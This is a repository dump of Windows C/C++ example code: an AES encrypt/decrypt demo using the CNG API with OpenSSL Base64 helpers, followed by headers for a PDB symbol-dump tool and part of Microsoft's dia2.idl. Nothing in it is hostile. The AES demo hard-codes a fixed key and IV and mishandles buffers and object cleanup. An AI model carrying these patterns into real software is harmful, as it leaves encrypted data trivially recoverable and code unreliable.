AESEncrypt::Encrypt() { NTSTATUS ntStatus = STATUS_UNSUCCESSFUL; // Check that everything was set correctly if (this->bAlreadyUsed) return FALSE; // Get the output buffer size to encrypt CNG::Util::WriteInfoMessage(L"Call bcrypt!BCryptEncrypt\n", 3); ntStatus = ::BCryptEncrypt(this->hKeyHandle, this->pbPlainText, this->cbPlainText, NULL, this->pbIV, this->cbBlockLen, NULL, 0, &this->cbCipherText, BCRYPT_BLOCK_PADDING); if (!NT_SUCCESS(ntStatus)) { CNG::Util::WriteErrorMessage(L"First bcrypt!BCryptEncrypt failed\n"); return FALSE; } CNG::Util::WriteInfoMessage(L"Call bcrypt!BCryptEncrypt\n", 3); this->pbCipherText = (PBYTE)::HeapAlloc(::GetProcessHeap(), 0, this->cbCipherText); ntStatus = ::BCryptEncrypt(this->hKeyHandle, this->pbPlainText, this->cbPlainText, NULL, this->pbIV, this->cbBlockLen, this->pbCipherText, this->cbCipherText, &this->cbData, BCRYPT_BLOCK_PADDING); if (!NT_SUCCESS(ntStatus)) { CNG::Util::WriteErrorMessage(L"Second bcrypt!BCryptEncrypt failed\n"); return FALSE; } // Destroy the key CNG::Util::WriteInfoMessage(L"Call bcrypt!BCryptDestroyKey\n", 3); ntStatus = ::BCryptDestroyKey(this->hKeyHandle); if (!NT_SUCCESS(ntStatus)) { CNG::Util::WriteErrorMessage(L"bcrypt!BCryptDestroyKey failed\n"); return FALSE; } this->bAlreadyUsed = TRUE; return this->bAlreadyUsed; } BOOL WINAPI AESDecrypt::Decrypt() { NTSTATUS ntStatus = STATUS_UNSUCCESSFUL; // Check that everything was set correctly if (this->bAlreadyUsed) return FALSE; CNG::Util::WriteInfoMessage(L"Call bcrypt!BCryptDecrypt\n", 3); ntStatus = ::BCryptDecrypt(this->hKeyHandle, this->pbCipherText, this->cbCipherText, NULL, this->pbIV, this->cbBlockLen, NULL, 0, &this->cbPlainText, BCRYPT_BLOCK_PADDING); if (!NT_SUCCESS(ntStatus)) { CNG::Util::WriteErrorMessage(L"First bcrypt!BCryptDecrypt failed\n"); return FALSE; } CNG::Util::WriteInfoMessage(L"Call bcrypt!BCryptDecrypt\n", 3); this->pbPlainText = (PBYTE)::HeapAlloc(::GetProcessHeap(), 0, this->cbPlainText); ntStatus = ::BCryptDecrypt(this->hKeyHandle, this->pbCipherText, this->cbCipherText, NULL, this->pbIV, this->cbBlockLen, this->pbPlainText, this->cbPlainText , &this->cbData, BCRYPT_BLOCK_PADDING); if (!NT_SUCCESS(ntStatus)) { CNG::Util::WriteErrorMessage(L"Second bcrypt!BCryptDecrypt failed\n"); return FALSE; } // Destroy the key CNG::Util::WriteInfoMessage(L"Call bcrypt!BCryptDestroyKey\n", 3); ntStatus = ::BCryptDestroyKey(this->hKeyHandle); if (!NT_SUCCESS(ntStatus)) { CNG::Util::WriteErrorMessage(L"bcrypt!BCryptDestroyKey failed\n"); return FALSE; } this->bAlreadyUsed = TRUE; return this->bAlreadyUsed; } std::string WINAPI AESEncrypt::GetEncryptedString() { std::string tmp = (char*)this->pbCipherText; return tmp; } std::string WINAPI AESEncrypt::GetEncryptedBase64String() { std::string sCipherText; if (this->pbCipherText) sCipherText.append(Base64::Base64Encode(this->pbCipherText, this->cbCipherText)); return sCipherText; } std::string WINAPI AESDecrypt::GetDecryptedString() { std::string tmp = (char*)this->pbPlainText; return tmp; } std::string WINAPI AESDecrypt::GetDecryptedBase64String() { std::string sPlaintext; if (this->pbCipherText) sPlaintext.append(Base64::Base64Encode(this->pbPlainText, this->cbPlainText)); return sPlaintext; } } ================================================ FILE: Cryptography/AES CNG/source/AES.h ================================================ #pragma once #include #include namespace CNG { static const BYTE rgbIV[] = { 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F }; static const BYTE rgbAES128Key[] = { 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F }; class AES { public: BOOL WINAPI Initialise(); protected: ~AES(); BCRYPT_ALG_HANDLE hBcryptAlgHandle = NULL; BCRYPT_KEY_HANDLE hKeyHandle = NULL; BOOL bIsInitialised = FALSE; BOOL bAlreadyUsed = FALSE; DWORD cbKeyObject = 0; DWORD cbData = 0; DWORD cbBlockLen = 0; DWORD cbPlainText = 0; DWORD cbCipherText = 0; PBYTE pbKeyObject = NULL; PBYTE pbIV = NULL; PBYTE pbPlainText = NULL; PBYTE pbCipherText = NULL; }; class AESEncrypt : public AES { public: ~AESEncrypt(); BOOL WINAPI Encrypt(); BOOL WINAPI SetStringToEncrypt(std::string sPlaintext); BOOL WINAPI SetBase64StringToEncrypt(std::string sPlaintext); std::string WINAPI GetEncryptedString(); std::string WINAPI GetEncryptedBase64String(); }; class AESDecrypt : public AES { public: ~AESDecrypt(); BOOL WINAPI Decrypt(); BOOL WINAPI SetStringToDecrypt(std::string sCipherText); BOOL WINAPI SetBase64StringToDecrypt(std::string sCipherText); std::string WINAPI GetDecryptedString(); std::string WINAPI GetDecryptedBase64String(); }; } ================================================ FILE: Cryptography/AES CNG/source/AESCrypt.sln ================================================  Microsoft Visual Studio Solution File, Format Version 12.00 # Visual Studio Version 16 VisualStudioVersion = 16.0.29215.179 MinimumVisualStudioVersion = 10.0.40219.1 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "AESCrypt", "AESCrypt.vcxproj", "{3CB82A71-C96B-475D-B617-25924EB88631}" EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Custom|x64 = Custom|x64 Custom|x86 = Custom|x86 Debug|x64 = Debug|x64 Debug|x86 = Debug|x86 Release|x64 = Release|x64 Release|x86 = Release|x86 EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution {3CB82A71-C96B-475D-B617-25924EB88631}.Custom|x64.ActiveCfg = Custom|x64 {3CB82A71-C96B-475D-B617-25924EB88631}.Custom|x64.Build.0 = Custom|x64 {3CB82A71-C96B-475D-B617-25924EB88631}.Custom|x86.ActiveCfg = Custom|Win32 {3CB82A71-C96B-475D-B617-25924EB88631}.Custom|x86.Build.0 = Custom|Win32 {3CB82A71-C96B-475D-B617-25924EB88631}.Debug|x64.ActiveCfg = Debug|x64 {3CB82A71-C96B-475D-B617-25924EB88631}.Debug|x64.Build.0 = Debug|x64 {3CB82A71-C96B-475D-B617-25924EB88631}.Debug|x86.ActiveCfg = Debug|Win32 {3CB82A71-C96B-475D-B617-25924EB88631}.Debug|x86.Build.0 = Debug|Win32 {3CB82A71-C96B-475D-B617-25924EB88631}.Release|x64.ActiveCfg = Release|x64 {3CB82A71-C96B-475D-B617-25924EB88631}.Release|x64.Build.0 = Release|x64 {3CB82A71-C96B-475D-B617-25924EB88631}.Release|x86.ActiveCfg = Release|Win32 {3CB82A71-C96B-475D-B617-25924EB88631}.Release|x86.Build.0 = Release|Win32 EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE EndGlobalSection GlobalSection(ExtensibilityGlobals) = postSolution SolutionGuid = {D52A9CB7-A857-4CD4-BEE2-1CCB19802991} EndGlobalSection EndGlobal ================================================ FILE: Cryptography/AES CNG/source/AESCrypt.vcxproj ================================================ Custom Win32 Custom x64 Debug Win32 Release Win32 Debug x64 Release x64 16.0 {3CB82A71-C96B-475D-B617-25924EB88631} AESCrypt 10.0 Application true v142 MultiByte Application false v142 true MultiByte Application true v142 MultiByte Application false v142 true MultiByte v142 v142 C:\Program Files\OpenSSL-Win64\include\;$(IncludePath) C:\Program Files\OpenSSL-Win64\lib;$(LibraryPath) Level3 Disabled true true Console Level3 Disabled true true Console Level3 MaxSpeed true true true true Console true true Level3 MaxSpeed true true true true %(AdditionalIncludeDirectories) false MultiThreaded Console true true %(AdditionalDependencies) ================================================ FILE: Cryptography/AES CNG/source/AESCrypt.vcxproj.filters ================================================  {4FC737F1-C7A5-4376-A066-2A32D752A2FF} cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx {93995380-89BD-4b04-88EB-625FBE52EBFB} h;hh;hpp;hxx;hm;inl;inc;ipp;xsd {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms Source Files Source Files Source Files Header Files Header Files Header Files Header Files ================================================ FILE: Cryptography/AES CNG/source/Base64.h ================================================ #pragma once #include #include #include #include #include #include #pragma comment(lib, "libcrypto.lib") size_t GetDecodedLength(std::string EncodedString) { size_t len = EncodedString.size(); size_t padding = 0; if (EncodedString[len - 1] == '=' && EncodedString[len - 2] == '=') { padding = 2; } else if (EncodedString[len - 1] == '=') { padding = 1; } len = ((len * 3) / 4) - padding; return len; } namespace Base64 { std::string Base64Encode(PUCHAR input, int Length) { BIO* bio = NULL; BIO* b64 = NULL; BUF_MEM* bPointer = NULL; b64 = BIO_new(BIO_f_base64()); bio = BIO_new(BIO_s_mem()); bio = BIO_push(b64, bio); BIO_set_flags(bio, BIO_FLAGS_BASE64_NO_NL); BIO_write(b64, input, Length); BIO_flush(bio); BIO_get_mem_ptr(bio, &bPointer); BIO_set_close(bio, BIO_NOCLOSE); BIO_free_all(bio); std::string result(bPointer->length, '\0'); RtlCopyMemory(&result[0], bPointer->data, bPointer->length); BUF_MEM_free(bPointer); return result; } std::vector Base64Decode(std::string input) { BIO* bio = NULL; BIO* b64 = NULL; bio = BIO_new_mem_buf(input.c_str(), -1); b64 = BIO_new(BIO_f_base64()); bio = BIO_push(b64, bio); BIO_set_flags(bio, BIO_FLAGS_BASE64_NO_NL); size_t DecodedLength = GetDecodedLength(input); std::vector OriginalEncryptedValues(DecodedLength, 0); BIO_read(bio, OriginalEncryptedValues.data(), static_cast(DecodedLength)); BIO_free_all(bio); return OriginalEncryptedValues; } } ================================================ FILE: Cryptography/AES CNG/source/Main.cpp ================================================ #pragma once #ifndef WIN32_LEAN_AND_MEAN #define WIN32_LEAN_AND_MEAN #endif #ifndef NOCOMM #define NOCOMM #endif #include #include #include #include #include "nthelpers.h" #include "AES.h" #include "Util.h" std::string EasyEncrypt(std::string sPlaintext) { CNG::Util::WriteInfoMessage(L"Initialising AESEncrypt object\n"); CNG::AESEncrypt* encrypt = new CNG::AESEncrypt(); if (encrypt->Initialise() == FALSE) { CNG::Util::WriteErrorMessage(L"Unable to initialise AESEncrypt module\n"); return ""; } // Encrypt the string CNG::Util::WriteInfoMessage(L"Encrypt the string\n"); encrypt->SetStringToEncrypt(sPlaintext); if (encrypt->Encrypt() == FALSE) { CNG::Util::WriteErrorMessage(L"Error while encrypting the string\n"); return ""; } // Get the base64 string std::string sBase64String = encrypt->GetEncryptedBase64String(); // Cleanup if (encrypt) encrypt->~AESEncrypt(); return sBase64String; } std::string EasyDecrypt(std::string sCipherText) { CNG::Util::WriteInfoMessage(L"Initialising AESDecrypt object\n"); CNG::AESDecrypt* decrypt = new CNG::AESDecrypt(); if (decrypt->Initialise() == FALSE) { CNG::Util::WriteErrorMessage(L"Unable to initialise AESDecrypt module\n"); return ""; } // Decrypt the string CNG::Util::WriteInfoMessage(L"Decrypt the string\n"); decrypt->SetBase64StringToDecrypt(sCipherText); if (decrypt->Decrypt() == FALSE) { CNG::Util::WriteErrorMessage(L"Error while decrypting the string\n"); return ""; } // Get the decrypted string std::string sPlaintext = decrypt->GetDecryptedString(); // Cleanup if (decrypt) decrypt->~AESDecrypt(); return sPlaintext; } int wmain(int argc, wchar_t* argv[]) { // Parameters are not used UNREFERENCED_PARAMETER(argc); UNREFERENCED_PARAMETER(argv); CNG::Util::WriteInfoMessage(L"Windows Cryptography API Next Generation - Example\n"); CNG::Util::WriteInfoMessage(L"Documentation: https://docs.microsoft.com/en-us/windows/win32/seccng/cng-portal\n"); CNG::Util::WriteMessage(L" ---------------------------------------------------------------------------------\n\n"); std::string sPlaintext = "cum lux abest, tenebrae vincunt"; // Encrypt std::string sB64CipherText = EasyEncrypt(sPlaintext); CNG::Util::WriteSuccessMessage(L"Base64 cipher:\n"); std::cout << "\t" << sB64CipherText << std::endl << std::endl << std::endl; // Decrypt std::string sCipherTextDecrypted = EasyDecrypt(sB64CipherText); CNG::Util::WriteSuccessMessage(L"Plaintext: \n"); std::cout << "\t" << sCipherTextDecrypted << std::endl; return 1; } ================================================ FILE: Cryptography/AES CNG/source/Util.cpp ================================================ #pragma once #ifndef WIN32_LEAN_AND_MEAN #define WIN32_LEAN_AND_MEAN #endif #ifndef NOCOMM #define NOCOMM #endif #include #include #include "Util.h" namespace CNG { VOID WINAPI Util::WriteSuccessMessage(std::wstring wsBuffer) { std::wcout << L"[+] "; Util::WriteMessage(wsBuffer); } VOID WINAPI Util::WriteSuccessMessage(std::wstring wsBuffer, int tabs) { for (int i = 0; i <= tabs; i++) std::wcout << " "; std::wcout << L"[+] "; Util::WriteMessage(wsBuffer); } VOID WINAPI Util::WriteErrorMessage(std::wstring wsBuffer) { std::wcout << L"[-] "; Util::WriteMessage(wsBuffer); } VOID WINAPI Util::WriteErrorMessage(std::wstring wsBuffer, int tabs) { for (int i = 0; i <= tabs; i++) std::wcout << " "; std::wcout << L"[-] "; Util::WriteMessage(wsBuffer); } VOID WINAPI Util::WriteInfoMessage(std::wstring wsBuffer) { std::wcout << L"[>] "; Util::WriteMessage(wsBuffer); } VOID WINAPI Util::WriteInfoMessage(std::wstring wsBuffer, int tabs) { for (int i = 0; i <= tabs; i++) std::wcout << " "; std::wcout << L"[>] "; Util::WriteMessage(wsBuffer); } VOID WINAPI Util::WriteMessage(std::wstring wsBuffer) { std::wcout << wsBuffer; } } ================================================ FILE: Cryptography/AES CNG/source/Util.h ================================================ #pragma once #ifndef WIN32_LEAN_AND_MEAN #define WIN32_LEAN_AND_MEAN #endif #ifndef NOCOMM #define NOCOMM #endif #include namespace CNG { class Util { public: static VOID WriteSuccessMessage(std::wstring wsBuffer); static VOID WriteSuccessMessage(std::wstring wsBuffer, int tabs); static VOID WriteErrorMessage(std::wstring wsBuffer); static VOID WriteErrorMessage(std::wstring wsBuffer, int tabs); static VOID WriteInfoMessage(std::wstring wsBuffer); static VOID WriteInfoMessage(std::wstring wsBuffer, int tabs); static VOID WriteMessage(std::wstring wsBuffer); }; } ================================================ FILE: Cryptography/AES CNG/source/nthelpers.h ================================================ #pragma once #define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) #define STATUS_UNSUCCESSFUL 0xC0000001 #define STATUS_INVALID_BUFFER_SIZE 0xC0000206 ================================================ FILE: DIA/CMakeLists.txt ================================================ # @file CMakeLists.txt # @data 13/06/2022 # @author Paul L. (@am0nsec) # @version 1.0 # @brief Microsoft Debug Interface Access (DIA) CMake configuration file. # @details # @link https://github.com/am0nsec/wspe # @copyright This project has been released under the GNU Public License v3 license. include_directories(inc) add_executable(dia-dump "src/main.c" "src/callback.c" "src/interface.c" "src/dirutil.c" ) # Add all post-build commands add_custom_command( TARGET dia-dump POST_BUILD COMMAND ${CMAKE_COMMAND} -E echo "Start post-build commands" # Make all the directories COMMAND ${CMAKE_COMMAND} -E make_directory "${CMAKE_BINARY_DIR}/DIA/pdb" COMMAND ${CMAKE_COMMAND} -E make_directory "${CMAKE_BINARY_DIR}/DIA/msdia" # Copy binaries required COMMAND ${CMAKE_COMMAND} -E copy "${CMAKE_SOURCE_DIR}/DIA/tools/symsrv.dll" "${CMAKE_BINARY_DIR}/DIA/pdb/" COMMAND ${CMAKE_COMMAND} -E copy "${CMAKE_SOURCE_DIR}/DIA/tools/msdia140.dll" "${CMAKE_BINARY_DIR}/DIA/msdia/" # End COMMAND ${CMAKE_COMMAND} -E echo "Start post-build commands ... OK" ) ================================================ FILE: DIA/inc/callback.h ================================================ /*+================================================================================================ Module Name: callback.h Author : Paul L. (@am0nsec) Origin : https://github.com/am0nsec/wspe/ Copyright : This project has been released under the GNU Public License v3 license. Abstract: Abstraction of the Microsoft Debug Interface Access (DIA) SDK. In this case this module contains the code for the CCallback COM interface implementation when loading PDB from a PE EXE file. Documentation available at: https://docs.microsoft.com/en-us/visualstudio/debugger/debug-interface-access/debug-interface-access-sdk Most of the code is based on the Dia2Dump code sample shipped with the MS DIA SDK. ================================================================================================+*/ #ifndef __DIA_CALLBACK_H_GUARD__ #define __DIA_CALLBACK_H_GUARD__ #include #include "msdia/include/dia2.h" typedef struct DiaCallback { // Virtual Table for the callback CONST_VTBL struct IDiaLoadCallback2* lpVtbl; // Reference counter for the AddRef/Release methods int m_nRefCount; } DiaCallback; HRESULT STDMETHODCALLTYPE _Must_inspect_result_ _Success_(return == S_OK) DiaCallbackHelper( _In_ BOOLEAN Initialise, _Inout_ PVOID** Callback ); #endif // !__DIA_CALLBACK_H_GUARD__ ================================================ FILE: DIA/inc/dirutil.h ================================================ /*+================================================================================================ Module Name: dirutil.h Author : Paul L. (@am0nsec) Origin : https://github.com/am0nsec/wspe/ Copyright : This project has been released under the GNU Public License v3 license. Abstract: Windows Directory utility code. Used to change directory to the "PDB" folder and get the correct symbol server search path. ================================================================================================+*/ #ifndef __DIA_DIRUTIL_H_GUARD__ #define __DIA_DIRUTIL_H_GUARD__ #include _Must_inspect_result_ HRESULT ChangeDirectory( _In_ PWCHAR Directory, _In_ DWORD Size ); _Must_inspect_result_ PWCHAR GetSymSrvSearchPath( VOID ); _Must_inspect_result_ PWCHAR GetMsdiaModulePath( VOID ); _Must_inspect_result_ HRESULT ResetDirectory( VOID ); #endif // !__DIA_DIRUTIL_H_GUARD__ ================================================ FILE: DIA/inc/interface.h ================================================ /*+================================================================================================ Module Name: interface.h Author : Paul L. (@am0nsec) Origin : https://github.com/am0nsec/wspe/ Copyright : This project has been released under the GNU Public License v3 license. Abstract: Abstraction of the Microsoft Debug Interface Access (DIA) SDK. Documentation available at: https://docs.microsoft.com/en-us/visualstudio/debugger/debug-interface-access/debug-interface-access-sdk Most of the code is based on the Dia2Dump code sample shipped with the MS DIA SDK. ================================================================================================+*/ #ifndef __DIA_INTERFACE_H_GUARD__ #define __DIA_INTERFACE_H_GUARD__ #include #include "msdia/include/dia2.h" #include "msdia/include/cvconst.h" #include "callback.h" #include "dirutil.h" // Type definition of the "DllGetClassObject" routine from the msdiaXXX.dll module. typedef HRESULT(STDMETHODCALLTYPE* TDllGetClassObject)( _In_ REFCLSID rclsid, _In_ REFIID riid, _Out_ LPVOID* ppv ); /// /// Simple structure to store all the information /// typedef struct _PUBLIC_SYMBOL { DWORD dwTag; DWORD dwRVA; DWORD dwOff; DWORD dwSeg; BSTR Name; } PUBLIC_SYMBOL, *PPUBLIC_SYMBOL; /// /// Initialise the COM runtime and IDiaDataSource interface. /// HRESULT STDMETHODCALLTYPE _Must_inspect_result_ _Success_(return == S_OK) DiaInitialise( _In_ PWCHAR DllName ); /// /// Uninitialise the COM runtime and general cleanup. /// VOID STDMETHODCALLTYPE DiaUninitialise(); /// /// Load the data from the PDB file provided. /// HRESULT STDMETHODCALLTYPE _Must_inspect_result_ _Success_(return == S_OK) DiaLoadDataFromPdb( _In_ PWCHAR FilePath ); /// /// Parse the PDB file to find all symbols requested. /// HRESULT STDMETHODCALLTYPE _Must_inspect_result_ _Success_(return == S_OK) DiaFindPublicSymbols( _In_ PUBLIC_SYMBOL PublicSymbols[], _In_ DWORD Elements ); #endif // !__DIA_INTERFACE_H_GUARD__ ================================================ FILE: DIA/inc/msdia/idl/dia2.idl ================================================ // dia2.idl - Debug Information Access (DIA) interface description //----------------------------------------------------------------- // // Copyright 1999-2000 Microsoft Corporation. All Rights Reserved. // //--------------------------------------------------------------- import "objidl.idl"; import "oaidl.idl"; import "propidl.idl"; import "cvconst.h"; enum NameSearchOptions { nsNone = 0, nsfCaseSensitive = 0x1, // apply a case sensitive match nsfCaseInsensitive = 0x2, // apply a case insensitive match nsfFNameExt = 0x4, // treat names as paths and apply a filename.ext match nsfRegularExpression = 0x8, // regular expression nsfUndecoratedName = 0x10, // applies only to symbols that have both undecorated and decorated names // predefined names for backward source compatibility nsCaseSensitive = nsfCaseSensitive, // apply a case sensitive match nsCaseInsensitive = nsfCaseInsensitive, // apply a case insensitive match nsFNameExt = nsfCaseInsensitive | nsfFNameExt, // treat names as paths and apply a filename.ext match nsRegularExpression = nsfRegularExpression | nsfCaseSensitive, // regular expression (using only '*' and '?') nsCaseInRegularExpression = nsfRegularExpression | nsfCaseInsensitive, // case insensitive regular expression }; // the following are error HRESULTS returned by an IDiaDataSource they // are based on the FACILITY_VISUALCPP (0x6d) defined in delayimp.h enum { E_PDB_OK=((HRESULT) (((unsigned long)(1)<<31) | ((unsigned long)(((LONG)0x6d))<<16) | ((unsigned long)(1))) ), E_PDB_USAGE , E_PDB_OUT_OF_MEMORY , // not used, use E_OUTOFMEMORY E_PDB_FILE_SYSTEM , E_PDB_NOT_FOUND , E_PDB_INVALID_SIG , E_PDB_INVALID_AGE , E_PDB_PRECOMP_REQUIRED , E_PDB_OUT_OF_TI , E_PDB_NOT_IMPLEMENTED , // use E_NOTIMPL E_PDB_V1_PDB , E_PDB_FORMAT , E_PDB_LIMIT , E_PDB_CORRUPT , E_PDB_TI16 , E_PDB_ACCESS_DENIED , // use E_ACCESSDENIED E_PDB_ILLEGAL_TYPE_EDIT , E_PDB_INVALID_EXECUTABLE , E_PDB_DBG_NOT_FOUND , E_PDB_NO_DEBUG_INFO , E_PDB_INVALID_EXE_TIMESTAMP , E_PDB_RESERVED , E_PDB_DEBUG_INFO_NOT_IN_PDB , E_PDB_SYMSRV_BAD_CACHE_PATH , E_PDB_SYMSRV_CACHE_FULL , E_PDB_OBJECT_DISPOSED , E_PDB_MAX }; #define PROPERTY_RW(type, name, prid, help) \ [propget, helpstring(help), id(prid)] \ HRESULT name([out, retval] type * pRetVal); \ \ [propput, helpstring(help), id(prid)] \ HRESULT name([in] type NewVal) #define PROPERTY_ARRAY_RW(type, itype, name, prid, help) \ [propget, helpstring(help), id(prid)] \ HRESULT name([in] itype index, [out, retval] type * pRetVal); \ \ [propput, helpstring(help), id(prid)] \ HRESULT name([in] itype index, [in] type NewVal) #define PROPERTY_RO(type, name, prid, help) \ [propget, helpstring(help), id(prid)] \ HRESULT name([out, retval] type * pRetVal) #define PROPERTY_ARRAY_RO(type, itype, name, prid, help) \ [propget, helpstring(help), id(prid)] \ HRESULT name([in] itype index, [out, retval] type * pRetVal) // type of callback arg to IDiaDataSource::loadDataForExe typedef void (__cdecl *PfnPDBDebugDirV)(BOOL, /*const struct _IMAGE_DEBUG_DIRECTORY * */ void*); interface IDiaSession; interface IDiaEnumTables; interface IDiaSymbol; interface IDiaSourceFile; interface IDiaLineNumber; interface IDiaInputAssemblyFile; interface IDiaInjectedSource; interface IDiaSegment; interface IDiaSectionContrib; interface IDiaFrameData; interface IDiaLVarInstance; interface IDiaStackWalkHelper; interface IDiaStackFrame; interface IDiaLoadCallback; interface IDiaLoadCallback2; interface IDiaReadExeAtOffsetCallback; interface IDiaReadExeAtRVACallback; [ object, uuid(C32ADB82-73F4-421b-95D5-A4706EDF5DBE), local, helpstring("IDiaLoadCallback interface."), pointer_default(unique) ] interface IDiaLoadCallback: IUnknown { HRESULT NotifyDebugDir( [in] BOOL fExecutable, [in] DWORD cbData, [in, size_is(cbData)] BYTE *pbData); // really a const struct _IMAGE_DEBUG_DIRECTORY * HRESULT NotifyOpenDBG( [in] LPCOLESTR dbgPath, [in] HRESULT resultCode); HRESULT NotifyOpenPDB( [in] LPCOLESTR pdbPath, [in] HRESULT resultCode); HRESULT RestrictRegistryAccess(); // return hr != S_OK to prevent querying the registry for symbol search paths HRESULT RestrictSymbolServerAccess(); // return hr != S_OK to prevent accessing a symbol server } [ object, uuid(4688a074-5a4d-4486-aea8-7b90711d9f7c), local, helpstring("IDiaLoadCallback interface."), pointer_default(unique) ] interface IDiaLoadCallback2: IDiaLoadCallback { HRESULT RestrictOriginalPathAccess(); // return hr != S_OK to prevent looking up PDB specified in the debug directory HRESULT RestrictReferencePathAccess(); // return hr != S_OK to prevent looking up for PDB where the EXE is located. HRESULT RestrictDBGAccess(); // return hr != S_OK to prevent looking up debug information from DBG files. HRESULT RestrictSystemRootAccess(); // return hr != S_OK to prevent looking up PDBs in system root } [ object, uuid(587A461C-B80B-4f54-9194-5032589A6319), local, helpstring("IDiaReadExeAtOffsetCallback interface."), pointer_default(unique) ] interface IDiaReadExeAtOffsetCallback: IUnknown { HRESULT ReadExecutableAt( [in] DWORDLONG fileOffset, [in] DWORD cbData, [out] DWORD *pcbData, [out, size_is(cbData)] BYTE *pbData); } [ object, uuid(8E3F80CA-7517-432a-BA07-285134AAEA8E), local, helpstring("IDiaReadExeAtRVACallback interface."), pointer_default(unique) ] interface IDiaReadExeAtRVACallback: IUnknown { HRESULT ReadExecutableAtRVA( [in] DWORD relativeVirtualAddress, [in] DWORD cbData, [out] DWORD *pcbData, [out, size_is(cbData)] BYTE *pbData); } [ object, uuid(79F1BB5F-B66E-48e5-B6A9-1545C323CA3D), local, helpstring("IDiaDataSource Interface"), pointer_default(unique) ] interface IDiaDataSource: IUnknown { PROPERTY_RO( BSTR, lastError, 1, "Text for last load error." ); // // loadDataFromPdb // HRESULT loadDataFromPdb( [in] LPCOLESTR pdbPath ); // // loadAndValidateDataFromPdb // HRESULT loadAndValidateDataFromPdb( [in] LPCOLESTR pdbPath, [in] GUID* pcsig70, [in] DWORD sig, [in] DWORD age ); // // loadDataForExe // HRESULT loadDataForExe( [in] LPCOLESTR executable, [in] LPCOLESTR searchPath, [in] IUnknown* pCallback ); // // loadDataFromIStream // HRESULT loadDataFromIStream( [in] IStream *pIStream ); HRESULT openSession( [out] IDiaSession** ppSession ); // // loadDataFromCodeViewInfo // HRESULT loadDataFromCodeViewInfo( [in] LPCOLESTR executable, [in] LPCOLESTR searchPath, [in] DWORD cbCvInfo, [in, size_is(cbCvInfo)] BYTE* pbCvInfo, [in] IUnknown* pCallback ); // // loadDataFromMiscInfo // HRESULT loadDataFromMiscInfo( [in] LPCOLESTR executable, [in] LPCOLESTR searchPath, [in] DWORD timeStampExe, [in] DWORD timeStampDbg, [in] DWORD sizeOfExe, [in] DWORD cbMiscInfo, [in, size_is(cbMiscInfo)] BYTE* pbMiscInfo, [in] IUnknown* pCallback ); } [ object, uuid(CAB72C48-443B-48f5-9B0B-42F0820AB29A), local, helpstring("IDiaEnumSymbols Interface"), pointer_default(unique) ] interface IDiaEnumSymbols: IUnknown { PROPERTY_RO( IUnknown*, _NewEnum, DISPID_NEWENUM, "IEnumVARIANT version of IDiaEnumSymbols." ); PROPERTY_RO( LONG, Count, 1, "Number of symbols." ); [id(0), helpstring("Return the symbol for the given index.")] HRESULT Item([in] DWORD index, [out, retval]IDiaSymbol **symbol); HRESULT Next( [in] ULONG celt, [out] IDiaSymbol ** rgelt, [out] ULONG * pceltFetched ); HRESULT Skip( [in] ULONG celt); HRESULT Reset(); HRESULT Clone( [out] IDiaEnumSymbols **ppenum); } [ object, uuid(624B7D9C-24EA-4421-9D06-3B577471C1FA), local, helpstring("IDiaEnumSymbolsByAddr Interface"), pointer_default(unique) ] interface IDiaEnumSymbolsByAddr: IUnknown { // // Item(ByXxx) re-positions the enumerator to the item found // [helpstring("Return the symbol for the given address.")] HRESULT symbolByAddr( [in] DWORD isect, [in] DWORD offset, [out, retval]IDiaSymbol** ppSymbol); [helpstring("Return the symbol for the given relative virtual address.")] HRESULT symbolByRVA( [in] DWORD relativeVirtualAddress, [out, retval]IDiaSymbol** ppSymbol); [helpstring("Return the symbol for the given virtual address.")] HRESULT symbolByVA( [in] ULONGLONG virtualAddress, [out, retval]IDiaSymbol** ppSymbol); HRESULT Next( [in] ULONG celt, [out] IDiaSymbol ** rgelt, [out] ULONG * pceltFetched ); HRESULT Prev( [in] ULONG celt, [out] IDiaSymbol ** rgelt, [out] ULONG * pceltFetched ); HRESULT Clone( [out] IDiaEnumSymbolsByAddr **ppenum); } [ object, uuid(1E45BD02-BE45-4D71-BA32-0E576CFCD59F), local, helpstring("IDiaEnumSymbolsByAddr2 Interface"), pointer_default(unique) ] interface IDiaEnumSymbolsByAddr2: IDiaEnumSymbolsByAddr { HRESULT symbolByAddrEx( [in] BOOL fPromoteBlockSym, [in] DWORD isect, [in] DWORD offset, [out, retval]IDiaSymbol** ppSymbol); HRESULT symbolByRVAEx( [in] BOOL fPromoteBlockSym, [in] DWORD relativeVirtualAddress, [out, retval]IDiaSymbol** ppSymbol); HRESULT symbolByVAEx( [in] BOOL fPromoteBlockSym, [in] ULONGLONG virtualAddress, [out, retval]IDiaSymbol** ppSymbol); HRESULT NextEx( [in] BOOL fPromoteBlockSym, [in] ULONG celt, [out] IDiaSymbol ** rgelt, [out] ULONG * pceltFetched ); HRESULT PrevEx( [in] BOOL fPromoteBlockSym, [in] ULONG celt, [out] IDiaSymbol ** rgelt, [out] ULONG * pceltFetched ); } [ object, uuid(10F3DBD9-664F-4469-B808-9471C7A50538), local, helpstring("IDiaEnumSourceFiles Interface"), pointer_default(unique) ] interface IDiaEnumSourceFiles: IUnknown { PROPERTY_RO( IUnknown*, _NewEnum, DISPID_NEWENUM, "IEnumVARIANT version of IDiaEnumSourceFiles." ); PROPERTY_RO( LONG, Count, 1, "Number of source files." ); [id(0), helpstring("Return the source file for the given index.")] HRESULT Item([in] DWORD index, [out, retval]IDiaSourceFile **sourceFile); HRESULT Next( [in] ULONG celt, [out] IDiaSourceFile ** rgelt, [out] ULONG * pceltFetched ); HRESULT Skip( [in] ULONG celt); HRESULT Reset(); HRESULT Clone( [out] IDiaEnumSourceFiles **ppenum); } [ object, uuid(1C7FF653-51F7-457E-8419-B20F57EF7E4D), local, 